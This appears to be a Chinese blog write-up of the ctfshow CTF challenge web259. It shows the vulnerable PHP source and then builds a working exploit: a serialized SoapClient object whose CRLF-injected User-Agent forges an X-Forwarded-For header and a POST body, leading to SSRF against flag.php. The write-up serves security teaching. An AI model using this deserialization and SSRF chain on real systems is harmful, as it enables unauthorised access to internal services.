首页 > 其他分享 >ctfshow web入门之web259

ctfshow web入门之web259

时间:2024-05-26 14:59:07浏览次数:16  
标签:web 127.0 web259 0.1 flag ctfshow php soap

web259

题目描述

1.题目源码很短:

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

2.题目在提示给出了flag.php的内容:

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

题目解读

1.首先,根据源码,可见我们需要传入一个反序列化的参数,并且调用一个不存在的getFlag()方法,而我们知道,调用一个不存在的公共方法,就会自动调用__call方法,因此我们应当去联想有哪些原生类有__call方法,下面给出一个找原生类方法的脚本:

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
} 

联想到这题的提示,很容易想到ssrf中的SoapClient类,并且它也存在__call方法!

image-20240526112247311

跟进一下soap类:

image-20240526113324168

在php手册上查询,发现这个方法可以调用远程soap方法!(虽然已经被废弃了)

image-20240526141800992

2.现在思路就明确了:我们需要利用SoapClient类构造一个post请求,让ip=127.0.0.1,携带token="ctfshow"。

3.首先我们需要构造一下UA头,绕过127.0.0.1的限制:

$ua="ctfshow\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";

这里的"\r\n"是CRLF注入,代表着"回车换行";而我们知道,请求头和请求体之间是存在一个空行的,因此Content-Length和token之间存在了两对"\r\n"。之所以要写两个127.0.0.1,是因为代码中使用了两次array_pop,每次会删除最后一个数组元素,因此为了将$ip赋值为127.0.0.1,需要写两个127.0.0.1。

4.其次我们查询php手册,找到SoapClient类的构造方法所需的参数:

$client=new SoapClient(null,array('uri'=>"127.0.0.1/",'location'=>"http://127.0.0.1/flag.php",'user_agent'=>$ua));
soap是什么
1.soap是webServer的三要素之一(SOAP、WSDL、UDDI)
2.WSDL用来描述如何访问具体的接口
3.UUDI用来管理、分发、查询webServer
4.SOAP是连接web服务和客户端的接口
简单地说,SOAP 是一种简单的基于 XML 的协议,它使应用程序通过 HTTP 来交换信息。 php中的soapClient类
php中的soapClient类可以创建soap数据报文,与wsdl接口进行交互。

第一个参数设置为null,表示非wsdl模式,反序列化的时候会对第二个参数指明的url进行soap请求。

第二个参数中,可以设置uri、location、user_agent等值。

uri:指定命名空间 URI(Namespace URI)。

location:指定 Web 服务的 URL 地址。

user_agent:指定 HTTP 请求的 User-Agent 头。

5.接着,我们把上面两步的数据整合在一起,进行序列化,然后传递参数,再访问flag.txt即可拿到flag:

<?php
$ua="ctfshow\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client=new SoapClient(null,array('uri'=>"127.0.0.1/",'location'=>"http://127.0.0.1/flag.php",'user_agent'=>$ua));
echo urlencode(serialize($client))
?>

标签:web,127.0,web259,0.1,flag,ctfshow,php,soap
From: https://www.cnblogs.com/dtwin/p/18213652

相关文章

  • BUUCTF-WEB(36-40)
    [BSidesCF2020]Hadabadday参考:[BUUCTF:BSidesCF2020]Hadabadday_末初的技术博客_51CTO博客[buuctf-BSidesCF2020]Hadabadday(小宇特详解)-CSDN博客应该是文件包含我这里使用;1,然后报错,我发现他是直接会加上一个.php,那我们试试伪协议读取?category=php://filter/......
  • Python中Web开发-FastAPI框架
            大家好,在当今Web开发领域,高性能、易用性和可扩展性是开发者们追求的目标。Python作为一种流行的编程语言,在Web开发领域也有着强大的影响力。而在众多的PythonWeb框架中,FastAPI凭借其快速、现代和易用的特性,成为了开发者们的首选之一。本文将深入探讨FastAPI......
  • 2024web网页源码大学生网页设计制作作业实例代码 (全网最全,建议收藏) HTML+CSS+JS
    文章目录......
  • Web大学生网页作业成品:个人博客主页 (纯HTML+CSS代码)
    ......
  • 249. 火锅美食响应式网页设计实例 大学生期末大作业 Web前端网页制作 html+css+js
    目录博主寄语二、网页文件 三、网页效果四、代码展示1.html2.CSS3.JS五、总结1.简洁实用2.使用方便3.整体性好4.形象突出5.交互式强六、更多推荐博主寄语火锅美食响应式网页设计实例,应用html+css+js:Div、导航栏、图片轮翻效果、注册登录页面、等。适用于大......
  • 【信息安全】Web 网络安全纵观与前景分析
    Web网络安全纵观与前景分析在此之前,欢迎关注波比网络培训、环境、资料、考证波比网络官方公众号:blbinet波比网络工作室官方公众号:blbistudio获取技术支持访问:https://www.blbi.cn/form/1/select技能大赛各赛项交流群:https://www.blbi.cn/threads/40/更多正式......
  • 244. 高端大气的蛋糕点响应式网页设计实例 大学生期末大作业 Web前端网页制作 html+cs
    目录前言一、网页概述二、网页文件 三、网页效果四、代码展示1.html2.CSS五、总结1.简洁实用2.使用方便3.整体性好4.形象突出5.交互式强六、更多推荐前言高端大气的蛋糕点响应式网页设计实例,应用html+css:Div、导航栏、图片轮翻效果、登录页面等。适用于大......
  • [基础]tfcenter mount将Webdav服务挂载成本地磁盘(可显示使用空间)
    1、下载tfcentermount软件(1)点击官网 tfcenter官网 后下载挂载软件(2)以windows挂载为例,下载windows软件包(3)解压软件包,如下图所示2、配置tfcenter挂载(1)以管理员方式运行上图的tfcenter-mount.bat文件选择1安装tfcentermount服务到系统中选择3启动tfcentermount服务......
  • CTF-web-攻防世界-3
    1、inget(1)、进入网站,提示传入id值(2)、用一些闭合方式,返回都一样。(3)、尝试万能密码。获得flag2、mfw(1)、页面没有什么特殊的异常,使用dirsearch进行目录扫描,有一些.git文件。看样子是.git文件泄露。使用githack下载并恢复.git文件:pythongithack.pyURLgithack使用:Gi......
  • datax和datax-web时间问题处理(定时任务没有按指定时间触发、日志时间错误)
    datax-web和datax各种时间不准问题此文目的为解决日志输出中的时间不准确问题和datax-web定时任务触发时间不对的问题(以东八区为例),但首先要确认操作系统的时间和时区是正常的!!!。总体思路就是修改时区,修改三个文件:datax.py、datax-executor.sh、datax-admin.sh在对应的位置加上时......